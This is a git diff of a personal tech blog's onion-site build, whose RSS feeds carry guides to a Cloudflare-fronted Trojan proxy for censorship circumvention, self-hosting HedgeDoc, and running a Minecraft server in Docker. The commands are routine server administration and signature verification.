    +VrhS5npAuRFTLR/jGboaIsiiAhI3j4zFvgBJ4c4PatN42KODY20=
    +=KCRU
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/self_hosting_mail.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/self_hosting_mail.md.asc
    +gpg --verify self_hosting_mail.md.asc self_hosting_mail.md
    +  
    +
    + + +]]>
    +
    + + Stealth Trojan VPN Behind Cloudflare Guide + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/vpn/ + Tue, 09 Sep 2025 11:05:00 +0200 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/vpn/ + <h2 id="introduction">Introduction</h2> +<p>So you want a VPN that <strong>doesn&rsquo;t scream &ldquo;I am a VPN&rdquo;</strong> to every censor and firewall out there?<br> +Welcome to the world of <strong>Trojan over WebSocket + TLS behind Cloudflare</strong>.</p> +<p>This guide not only shows you how to set it up but also sprinkles in some <strong>debugging magic</strong> so you can figure out why things break (and they <em>will</em> break, trust me).</p> +<p>We’ll anonymise domains and secrets, so substitute with your own:</p> + Introduction +

    So you want a VPN that doesn’t scream “I am a VPN” to every censor and firewall out there?
    +Welcome to the world of Trojan over WebSocket + TLS behind Cloudflare.

    +

    This guide not only shows you how to set it up but also sprinkles in some debugging magic so you can figure out why things break (and they will break, trust me).

    +

    We’ll anonymise domains and secrets, so substitute with your own:

    +
      +
    • VPN domain: web.example.com
    • +
    • Panel domain: panel.example.com
    • +
    • Secret WS path: /stealth-path_abcd1234
    • +
    • Password: <PASSWORD>
    • +
    +
    +

    Architecture at a Glance

    +

    Think of it as a disguise party:

    +
      +
    • Trojan = the shy guest (your VPN protocol)
    • +
    • Nginx = the bouncer checking IDs (reverse proxy)
    • +
    • Cloudflare = the doorman who makes sure nobody sees who’s inside (CDN & proxy)
    • +
    • Your fake website = the mask (camouflage page)
    • +
    +

    Traffic flow:

    +
    Client → Cloudflare (443) → Nginx (443) → Trojan (localhost:54321)
    +

    +

    Step 1: Panel Setup (panel.example.com)

    +
      +
    • Bind the 3x-ui panel to localhost (e.g., 127.0.0.1:46309).
    • +
    • Choose a funky web base path like /panel-bananas_42/.
    • +
    • Proxy it through Nginx with HTTPS + Basic Auth.
    • +
    • Test it at https://panel.example.com/panel-bananas_42/.
    • +
    +

    Pro tip: If you see a blank page → your base path is mismatched or Nginx is eating it. Check logs!

    +
    +

    Step 2: Trojan Inbound

    +

    In 3x-ui, create a Trojan inbound:

    +
      +
    • Local port: 54321
    • +
    • Transport: WebSocket
    • +
    • Path: /stealth-path_abcd1234
    • +
    • Security: none
    • +
    • Password: <PASSWORD>
    • +
    +
    +

    Step 3: Nginx for VPN Domain (web.example.com)

    +

    Your Nginx is the gatekeeper. Sample config:

    +
    server {
    +    listen 443 ssl http2;
    +    server_name web.example.com;
    +
    +    ssl_certificate     /etc/letsencrypt/live/web.example.com/fullchain.pem;
    +    ssl_certificate_key /etc/letsencrypt/live/web.example.com/privkey.pem;
    +
    +    # Fake website at root
    +    location / {
    +        root /var/www/html;
    +        index index.html;
    +    }
    +
    +    # Real VPN under secret WS path
    +    location /stealth-path_abcd1234 {
    +        proxy_pass http://127.0.0.1:54321;
    +        proxy_http_version 1.1;
    +        proxy_set_header Upgrade $http_upgrade;
    +        proxy_set_header Connection "upgrade";
    +        proxy_set_header Host $host;
    +    }
    +}
    +

    +

    Step 4: Firewall Rules

    +

    Lock things down! Only Cloudflare should reach you:

    +
    ufw allow 22/tcp
    +ufw allow 80/tcp
    +ufw allow 443/tcp
    +ufw deny 54321/tcp
    +

    +

    Step 5: Client Config

    +

    Trojan URI:

    +
    trojan://<PASSWORD>@web.example.com:443?type=ws&security=tls&host=web.example.com&path=%2Fstealth-path_abcd1234&sni=web.example.com#MyStealthVPN
    +

    iOS clients: Shadowrocket, Stash, FoXray
    +Android clients: v2rayNG, Clash Meta, NekoBox

    +
    +

    Debugging Time (a.k.a. “Why the heck doesn’t it work?!”)

    +

    Symptom: 520 Unknown Error (Cloudflare)

    +
      +
    • Likely cause: Nginx couldn’t talk to Trojan.
    • +
    • Check Nginx error log: +
      tail -n 50 /var/log/nginx/error.log
      +
    • +
    • If you see upstream sent no valid HTTP/1.0 header → you’re mixing HTTPS/HTTP between Nginx and Trojan.
    • +
    +
    +

    Symptom: 526 Invalid SSL certificate

    +
      +
    • Cloudflare → Nginx cert mismatch.
    • +
    • Run: +
      openssl s_client -connect web.example.com:443 -servername web.example.com -showcerts
      +
    • +
    • Make sure CN = web.example.com. If not, fix your cert.
    • +
    +
    +

    Symptom: Blank page on panel

    +
      +
    • Check if the base path matches exactly (case-sensitive, slash-sensitive).
    • +
    • Watch for sneaky trailing spaces!
    • +
    • Test locally: +
      curl -s -D- http://127.0.0.1:46309/panel-bananas_42/
      +
    • +
    +
    +

    Symptom: Client won’t connect

    +
      +
    • Run a WebSocket test: +
      curl -i -k -H "Connection: Upgrade" -H "Upgrade: websocket" https://web.example.com/stealth-path_abcd1234
      +
      Expect 101 Switching Protocols. If not, check Nginx config.
    • +
    +
    +

    Symptom: Censor still blocks you

    +
      +
    • Did you expose another service (like SSH, Matrix, or Minecraft) on the same IP?
      +→ They’ll find your origin IP. Use a second VPS or lock those ports down.
    • +
    • Did you use an obvious path like /ws?
      +→ Use a random-looking one like /cdn-assets-329df/.
    • +
    +
    +

    Pro Tips & Fun Tricks

    +
      +
    • Serve a fake blog or portfolio at root so your domain looks legit.
    • +
    • Rotate WebSocket paths occasionally.
    • +
    • Use Cloudflare Page Rules to disable Rocket Loader & Minify for your VPN domain.
    • +
    • Make friends with your Nginx error.log — it will roast you but it tells the truth.
    • +
    +
    +

    Conclusion

    +

    By putting Trojan behind Cloudflare, you’ve given your VPN a shiny new disguise:

    +
      +
    • Looks like normal HTTPS.
    • +
    • Hides your origin IP.
    • +
    • Forces censors into a tough choice: block Cloudflare (and half the web) or let you pass.
    • +
    +

    Congrats — you’ve built a VPN with both style and stealth. 🥷

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuAACgkQtYgoUOBM
    +jSo4Yw//T40cakj/BOL/Zh0gxoW4PnH014B7h67Yirq6pB3epUix6bFaZCJnndbD
    +9ZIhmnWMRzbkcA3SVhW1Y3NLpHvhK5UMXNY1qGqrGATQcoVCP7EewhL/3vXgTo5l
    +jFsQFzNxcgOXKKWevuRtL5MY8RuC+PbsfG2ry2jiOtJa9H2UixVJ5E8Imj+VS47O
    +S3XAlxr85O9CEh/TFkS/TuY5P5+VPoOLn6WfdCH5W2IdkW+Vi3bZFJ46LBm6cNBh
    +Iydo+r2msTrqOozimc9hVorPjHZVZLMADJhcsa4pSZ4pDShBYMOZWATQErROPsdl
    +5iyRbmdFb4zWcG5SgjngHnRHFrJ8PVgnFXObb3yZMqA+38RGmRNFgtR0mhMdtKNt
    +QxQDOO/IfO/oNfZzIERUqUnUy/iXs44v8ttTXXE6SkYYoHW335xmDuk8ntrmQA6g
    +YfXO4rJCXxsMaT6RkJaoK5YirKF/9hJYaUYY62SzdfhTmY1TFGGK0+CD+M1kQILC
    +E8pXSfGhaG2bFCzQ+BRMe4o1BXLNjUhvovUgWEBnYTdGF5oXNS1MM29WxD/HC3md
    +d17noEPwOujrtLxEQcAOUcQe02VOfYcX36pbr+ql32hsQMQHZtho1nx5HEGCoCWG
    +3sO7WQTpdBDtkwdHnRJqKBcuWqrVd3YNMwtZE0S6oXVyWkEbB4Y=
    +=IovZ
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/vpn.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/vpn.md.asc
    +gpg --verify vpn.md.asc vpn.md
    +  
    +
    + + +]]>
    +
    + + Self-Hosting HedgeDoc with Docker + Nginx + Let's Encrypt + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/hedge_doc/ + Fri, 29 Aug 2025 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/hedge_doc/ + <p>HedgeDoc is an open-source collaborative Markdown editor. Think <em>Google Docs for Markdown</em>: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS.</p> +<hr> +<h2 id="prerequisites">Prerequisites</h2> +<ul> +<li>A Linux server with <strong>Docker</strong> and <strong>Docker Compose</strong></li> +<li>A domain name pointing to your server (e.g. <code>notes.alipourimjourneys.ir</code>)</li> +<li><strong>Nginx</strong> installed for reverse proxying</li> +<li><strong>Certbot</strong> for Let’s Encrypt certificates</li> +</ul> +<hr> +<h2 id="1-create-the-project-directory">1. Create the project directory</h2> +<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>mkdir ~/hedgedoc <span style="color:#f92672">&amp;&amp;</span> cd ~/hedgedoc</span></span></code></pre></div> +<hr> +<h2 id="2-create-env">2. Create <code>.env</code></h2> +<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-env" data-lang="env"><span style="display:flex;"><span>POSTGRES_PASSWORD<span style="color:#f92672">=</span>ChangeThisStrongPassword +</span></span><span style="display:flex;"><span>HD_DOMAIN<span style="color:#f92672">=</span>notes.alipourimjourneys.ir</span></span></code></pre></div> +<p>Generate a strong password with:</p> + HedgeDoc is an open-source collaborative Markdown editor. Think Google Docs for Markdown: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS.

    +
    +

    Prerequisites

    +
      +
    • A Linux server with Docker and Docker Compose
    • +
    • A domain name pointing to your server (e.g. notes.alipourimjourneys.ir)
    • +
    • Nginx installed for reverse proxying
    • +
    • Certbot for Let’s Encrypt certificates
    • +
    +
    +

    1. Create the project directory

    +
    mkdir ~/hedgedoc && cd ~/hedgedoc
    +
    +

    2. Create .env

    +
    POSTGRES_PASSWORD=ChangeThisStrongPassword
    +HD_DOMAIN=notes.alipourimjourneys.ir
    +

    Generate a strong password with:

    +
    openssl rand -base64 32
    +
    +

    3. Create docker-compose.yml

    +
    version: "3.9"
    +
    +services:
    +  db:
    +    image: postgres:16
    +    environment:
    +      POSTGRES_USER: hedgedoc
    +      POSTGRES_PASSWORD: ${POSTGRES_PASSWORD}
    +      POSTGRES_DB: hedgedoc
    +    volumes:
    +      - db:/var/lib/postgresql/data
    +    restart: unless-stopped
    +
    +  hedgedoc:
    +    image: quay.io/hedgedoc/hedgedoc:1.10.2
    +    depends_on:
    +      - db
    +    environment:
    +      CMD_DB_URL: postgres://hedgedoc:${POSTGRES_PASSWORD}@db:5432/hedgedoc
    +      CMD_DOMAIN: ${HD_DOMAIN}
    +      CMD_PROTOCOL_USESSL: "true"
    +      CMD_URL_ADDPORT: "false"
    +      CMD_PORT: "3000"
    +      CMD_EMAIL: "true"
    +      CMD_ALLOW_EMAIL_REGISTER: "false"
    +    volumes:
    +      - uploads:/hedgedoc/public/uploads
    +    ports:
    +      - "127.0.0.1:3000:3000"
    +    restart: unless-stopped
    +
    +volumes:
    +  db:
    +  uploads:
    +

    Bring it up:

    +
    docker compose up -d
    +
    +

    4. Get a Let’s Encrypt certificate

    +

    Request a cert with a DNS challenge:

    +
    sudo certbot certonly   --manual   --preferred-challenges dns   -d notes.alipourimjourneys.ir   -m you@example.com   --agree-tos --no-eff-email
    +

    Add the TXT record certbot asks for, wait for DNS to propagate, then continue.
    +Certificates will be in:

    +
    /etc/letsencrypt/live/notes.alipourimjourneys.ir/
    +
    +

    5. Configure Nginx

    +

    Create /etc/nginx/sites-available/notes.alipourimjourneys.ir:

    +
    server {
    +  server_name notes.alipourimjourneys.ir;
    +
    +  listen 80;
    +  listen [::]:80;
    +  return 301 https://$host$request_uri;
    +}
    +
    +server {
    +  server_name notes.alipourimjourneys.ir;
    +
    +  listen 443 ssl http2;
    +  listen [::]:443 ssl http2;
    +
    +  ssl_certificate     /etc/letsencrypt/live/notes.alipourimjourneys.ir/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/notes.alipourimjourneys.ir/privkey.pem;
    +
    +  location / {
    +    proxy_pass http://127.0.0.1:3000;
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Real-IP $remote_addr;
    +    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    +    proxy_set_header X-Forwarded-Proto https;
    +
    +    proxy_http_version 1.1;
    +    proxy_set_header Upgrade $http_upgrade;
    +    proxy_set_header Connection "upgrade";
    +  }
    +}
    +

    Enable the config and reload Nginx:

    +
    sudo ln -s /etc/nginx/sites-available/notes.alipourimjourneys.ir /etc/nginx/sites-enabled/
    +sudo nginx -t && sudo systemctl reload nginx
    +
    +

    6. Create users

    +

    Because we disabled self-registration, create accounts manually:

    +
    docker compose exec hedgedoc ./bin/manage_users --add alice@example.com
    +

    You’ll be prompted for a password.
    +To reset a password later:

    +
    docker compose exec hedgedoc ./bin/manage_users --reset alice@example.com
    +
    +

    7. Done!

    +

    Visit https://notes.alipourimjourneys.ir and log in with the user you created. You now have your own collaborative Markdown editor 🎉

    +
    +

    Extras:

    +
      +
    • Backups: dump the PostgreSQL database and save the uploads volume.
    • +
    • Upgrades: docker pull quay.io/hedgedoc/hedgedoc:latest && docker compose up -d.
    • +
    • Integrations: HedgeDoc supports S3/MinIO image storage, GitHub/GitLab/Google login, and more.
    • +
    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbucACgkQtYgoUOBM
    +jSrPHA//WlMEZx1k/aGx3zau+wRrAOq4XlrvC7keBvqMs0PJGhJmT8jnOMh0+26w
    +AGav2jBuChLYsDx+O8l18uxcsu9fdrz8r4N4sDOnsndSsg15rTT28P3MNvvUL8ns
    +iOc9uEUkxF59rT3OXRI56hH3VX6vzxakdAnW3Afhki2Bl54jur2+6RVtuthGUEV+
    +QZ/36QVXLrOAas1bqq3f38m4M2no3ZqVvpj+Alur2Ji/gcGZlSArBnIoJQoK5L+r
    +UZLJsQ+LrqCJp4i+GkkX05si2srSTjawBu+ssHf+uwPg0Q6AMTbubrGiHrMMtMbM
    +4PCFtS8vD/ZBVkVpSBybyXdMxQU+y9AI1LZ//X4cQWdqgRpinOVENuZ2FeVI6qa/
    +sBGHLThq9nZEXmMT2oQa1wi+CaY17z9fYj20F5moOp2Q6pxBGPyHZRV3WAr5xURU
    +5B9SwVtNqIzm7eoAbwckU3h+TfIJ4vGulSqPqHvZ/XAdbzCVXaSXBN951oA0No1y
    +MyvsIskzKVPvSqndYjxLGiopvOpITgxN5q6a7ubBmxYCrS+SF74jPkDjtc4EFuKB
    +QrMTBm/+Xl/VEESYv5Mx7hwYv1dnmJUFrx62FUYmAMaFP2UcMIlJJ5zQCwsDdREk
    +aG3wFuWH4d9UFohK+MJIHqYk1+TbZJm3bnds8pOqniIZ7M5PcEg=
    +=uf5y
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/hedge_doc.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/hedge_doc.md.asc
    +gpg --verify hedge_doc.md.asc hedge_doc.md
    +  
    +
    + + +]]>
    +
    +
    +
    diff --git a/public-onion/categories/guides/page/1/index.html b/public-onion/categories/guides/page/1/index.html new file mode 100644 index 0000000..1fecf3a --- /dev/null +++ b/public-onion/categories/guides/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/categories/guides/ + + + + + + diff --git a/public-onion/categories/homelab/index.html b/public-onion/categories/homelab/index.html new file mode 100644 index 0000000..30b6514 --- /dev/null +++ b/public-onion/categories/homelab/index.html @@ -0,0 +1,352 @@ + + + + + + + +Homelab | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    +

    Dockerizing my Minecraft Server + Geyser: from 'no space left' to stable releases +

    +
    +
    +

    How I containerized a Java Minecraft server with Geyser, hit a /var space wall, and locked the server to the latest stable release.

    +
    +
    September 29, 2025 · 3 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/categories/homelab/index.xml b/public-onion/categories/homelab/index.xml new file mode 100644 index 0000000..5363e88 --- /dev/null +++ b/public-onion/categories/homelab/index.xml @@ -0,0 +1,185 @@ + + + + Homelab on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/categories/homelab/ + Recent content in Homelab on AlipourIm journeys + Hugo -- 0.146.0 + en + Mon, 29 Sep 2025 09:06:29 +0000 + + + Dockerizing my Minecraft Server + Geyser: from 'no space left' to stable releases + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/minecraft_server/ + Mon, 29 Sep 2025 09:06:29 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/minecraft_server/ + How I containerized a Java Minecraft server with Geyser, hit a /var space wall, and locked the server to the latest stable release. + Why +

    I’ve been running a Java Minecraft world (with Bedrock players via Geyser) in tmux. I moved it to Docker for easier updates, backups, and restarts. Along the way I hit:

    +
      +
    • failed to register layer: ... no space left on device
    • +
    • Client saying: “Outdated client, please use 1.21.9 Pre-Release 2”
    • +
    • Wanting config in a neat .env and no whitelist
    • +
    +

    Here’s exactly what I did.

    +
    +

    Folder layout

    +
    ~/minecraft/
    +├─ docker-compose.yml
    +├─ .env
    +└─ plugins/
    +

    +

    .env (secrets & knobs)

    +

    Use the latest stable (not snapshots/pre-releases) by setting VERSION=LATEST.

    +
    # Minecraft server configuration
    +EULA=TRUE
    +TYPE=PAPER
    +VERSION=LATEST
    +MEMORY=4G
    +USE_AIKAR_FLAGS=true
    +
    +# RCON (remote console)
    +ENABLE_RCON=true
    +RCON_PASSWORD=superSecretPassword123
    +
    +

    I don’t use a whitelist, so no WHITELIST/ENFORCE_WHITELIST variables.

    +
    +

    docker-compose.yml

    +
    services:
    +  mc:
    +    image: itzg/minecraft-server:latest
    +    container_name: mc
    +    restart: unless-stopped
    +    ports:
    +      - "25565:25565"        # Java
    +      - "19132:19132/udp"    # Bedrock via Geyser plugin
    +    env_file:
    +      - .env
    +    volumes:
    +      - mc-data:/data
    +      - ./plugins:/plugins:ro
    +volumes:
    +  mc-data: {}
    +
    +

    The version: key in Compose is obsolete now, so I dropped it.

    +
    +

    Add Geyser (and optional Floodgate) as plugins

    +
    mkdir -p ~/minecraft/plugins
    +cd ~/minecraft/plugins
    +
    +# Geyser (Spigot/Paper)
    +wget https://download.geysermc.org/v2/projects/geyser/versions/latest/builds/latest/downloads/spigot   -O Geyser-Spigot.jar
    +
    +# Floodgate (optional: Bedrock accounts without Java linking)
    +wget https://download.geysermc.org/v2/projects/floodgate/versions/latest/builds/latest/downloads/spigot   -O Floodgate-Spigot.jar
    +

    Start it up:

    +
    docker compose up -d
    +

    On first run, Geyser writes its config to /data/plugins/Geyser-Spigot/. Open UDP 19132 on your firewall.

    +
    +

    Hit a wall: /var ran out of space

    +

    Docker stores layers at /var/lib/docker by default. My /var LV was tiny:

    +
    /dev/mapper/ubuntu--vg-var   3.9G  3.4G  333M  92% /var
    +

    Quick cleanup

    +
    docker system df
    +docker system prune -f
    +docker builder prune -af
    +sudo apt-get clean
    +sudo journalctl --vacuum-size=100M
    +

    If that’s not enough, you have two good options:

    +

    Option A — Move Docker’s data off /var

    +
    sudo systemctl stop docker
    +sudo mkdir -p /home/docker
    +sudo rsync -aHAX --info=progress2 /var/lib/docker/ /home/docker/
    +echo '{ "data-root": "/home/docker" }' | sudo tee /etc/docker/daemon.json
    +sudo systemctl start docker
    +docker info | grep "Docker Root Dir"
    +

    If all looks good, free the old space:

    +
    sudo rm -rf /var/lib/docker/*
    +

    Option B — Grow /var (LVM)

    +

    Check free space in the VG:

    +
    sudo vgdisplay   # look for "Free PE / Size"
    +

    If available, extend /var by +5G:

    +
    sudo lvextend -L +5G /dev/mapper/ubuntu--vg-var
    +sudo resize2fs /dev/mapper/ubuntu--vg-var
    +

    +

    The version mismatch: pre-release vs stable

    +

    My logs showed:

    +
    Starting minecraft server version 1.21.9 Pre-Release 2
    +

    That happens if the server pulls a pre-release build (or if VERSION=LATEST). Fix:

    +
      +
    1. Ensure .env has: +
      VERSION=LATEST_RELEASE
      +
    2. +
    3. Recreate: +
      docker compose down
      +docker compose pull
      +docker compose up -d
      +
    4. +
    5. Verify: +
      docker logs mc | grep "Starting minecraft server version"
      +# -> Starting minecraft server version 1.21.1   (example)
      +
    6. +
    +
    +

    Tip: If you want to pin and avoid auto-updates entirely, set VERSION=1.21.1 (or whatever stable you’ve validated).

    +
    +

    No whitelist

    +

    Because I don’t set WHITELIST/ENFORCE_WHITELIST, anyone can join (subject to online-mode, bans, and Geyser/Floodgate auth settings). Manage ops/permissions via:

    +
    docker exec -it mc rcon-cli "op YourJavaIGN"
    +

    (or edit /data/ops.json).

    +
    +

    Backup & updates

    +
      +
    • World/data live under the mc-data volume → back up /data regularly.
    • +
    • Update cleanly: +
      docker compose pull && docker compose up -d
      +
    • +
    • Watch space: +
      watch -n5 'df -h /var; docker system df'
      +
    • +
    +
    +

    TL;DR

    +
      +
    • Put Geyser/Floodgate jars in ./plugins and expose 19132/udp.
    • +
    • Keep configs in .env.
    • +
    • Fix /var space by pruning, moving Docker’s data-root, or extending /var via LVM.
    • +
    • Verify version in logs after each change.
    • +
    +

    Happy block-breaking! 🧱🚀

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuAACgkQtYgoUOBM
    +jSrrmBAAuVoSvB3tRIzD+N0F5OwfYvG3V3z6ok58df7p4js91/a9lcki2ywxw/Dy
    +Q3aeieiGITkd/zMNjTydy4XjkScoRFFlL5GVZ2WNjO8CvjpEv3nK7EX6jRt5leMV
    +0D0DESMnOQzgo4a1CuNHrYPHKPaMVpJ/1aKOUZwyPC9j8/70irAJpoA2jdBgSsxw
    +7p/hYijX0vGJ8+WSFj6707dh6hNRk5ZaNc0cElpkE4kXA31H0h/fRwPPteT4wjGA
    +JWQAyEUu3Vx/U0BnN6R9Lne+5cqxO0Kh8VrcBpyH2VpqH3fDk1fIHk1RdhDxwKD7
    +OzvAT5XXRS5Q6Udc7Nsa9T/OYG+elcgMAMFXosItqTRJNG72OyWloLVc/OrJ5Qsc
    +s81FbfcHp1dgjJ2gtO2Eyb/wb1WkyvrQegNnjuJzMt3awBN1BWex5Nn4Bz+UbLDz
    +g6dGQxcpfDJ6F9Tjz/ru7RZ9Yic/bo8vVvKaa6FhSAwF4SluKWS3cf3meE4GQD5r
    +NrClzg0Vujk/3zP/6yhCL7I0SwQ+NeW2HoUHeoawApBmFt/q5du4ftIx2iMMeWoH
    +F91H35CchRtKArxjpwFNt/J1QAPvKx9UvzA2uAl+LNOWXf/gomXH6Tqm9vnWr/aX
    +sczdH6N2E0+7KDO7NwjBJWa/QwdXKUlOq5fFgAop22v3vWOml1M=
    +=NmxL
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/minecraft_server.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/minecraft_server.md.asc
    +gpg --verify minecraft_server.md.asc minecraft_server.md
    +  
    +
    + + +]]>
    +
    +
    +
    diff --git a/public-onion/categories/homelab/page/1/index.html b/public-onion/categories/homelab/page/1/index.html new file mode 100644 index 0000000..6c0b3bb --- /dev/null +++ b/public-onion/categories/homelab/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/categories/homelab/ + + + + + + diff --git a/public-onion/categories/index.html b/public-onion/categories/index.html new file mode 100644 index 0000000..5675212 --- /dev/null +++ b/public-onion/categories/index.html @@ -0,0 +1,357 @@ + + + + + + + +Categories | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + + +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/categories/index.xml b/public-onion/categories/index.xml new file mode 100644 index 0000000..d5b7b22 --- /dev/null +++ b/public-onion/categories/index.xml @@ -0,0 +1,89 @@ + + + + Categories on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/categories/ + Recent content in Categories on AlipourIm journeys + Hugo -- 0.146.0 + en + Fri, 24 Jul 2026 00:00:00 +0000 + + + Guides + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/categories/guides/ + Fri, 24 Jul 2026 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/categories/guides/ + + + + CTF + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/categories/ctf/ + Fri, 05 Jun 2026 12:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/categories/ctf/ + + + + Security + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/categories/security/ + Fri, 05 Jun 2026 12:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/categories/security/ + + + + Privacy + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/categories/privacy/ + Thu, 30 Oct 2025 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/categories/privacy/ + + + + Blog + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/categories/blog/ + Thu, 23 Oct 2025 19:31:12 +0200 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/categories/blog/ + + + + Meta + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/categories/meta/ + Thu, 23 Oct 2025 19:31:12 +0200 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/categories/meta/ + + + + Stories + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/categories/stories/ + Sat, 18 Oct 2025 10:45:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/categories/stories/ + + + + Games + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/categories/games/ + Mon, 29 Sep 2025 09:06:29 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/categories/games/ + + + + Homelab + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/categories/homelab/ + Mon, 29 Sep 2025 09:06:29 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/categories/homelab/ + + + + DevOps + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/categories/devops/ + Fri, 19 Sep 2025 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/categories/devops/ + + + + Notes + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/categories/notes/ + Fri, 19 Sep 2025 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/categories/notes/ + + + + diff --git a/public-onion/categories/meta/index.html b/public-onion/categories/meta/index.html new file mode 100644 index 0000000..0f88c4d --- /dev/null +++ b/public-onion/categories/meta/index.html @@ -0,0 +1,356 @@ + + + + + + + +Meta | AlipourIm journeys + + + + + + + + + + + + 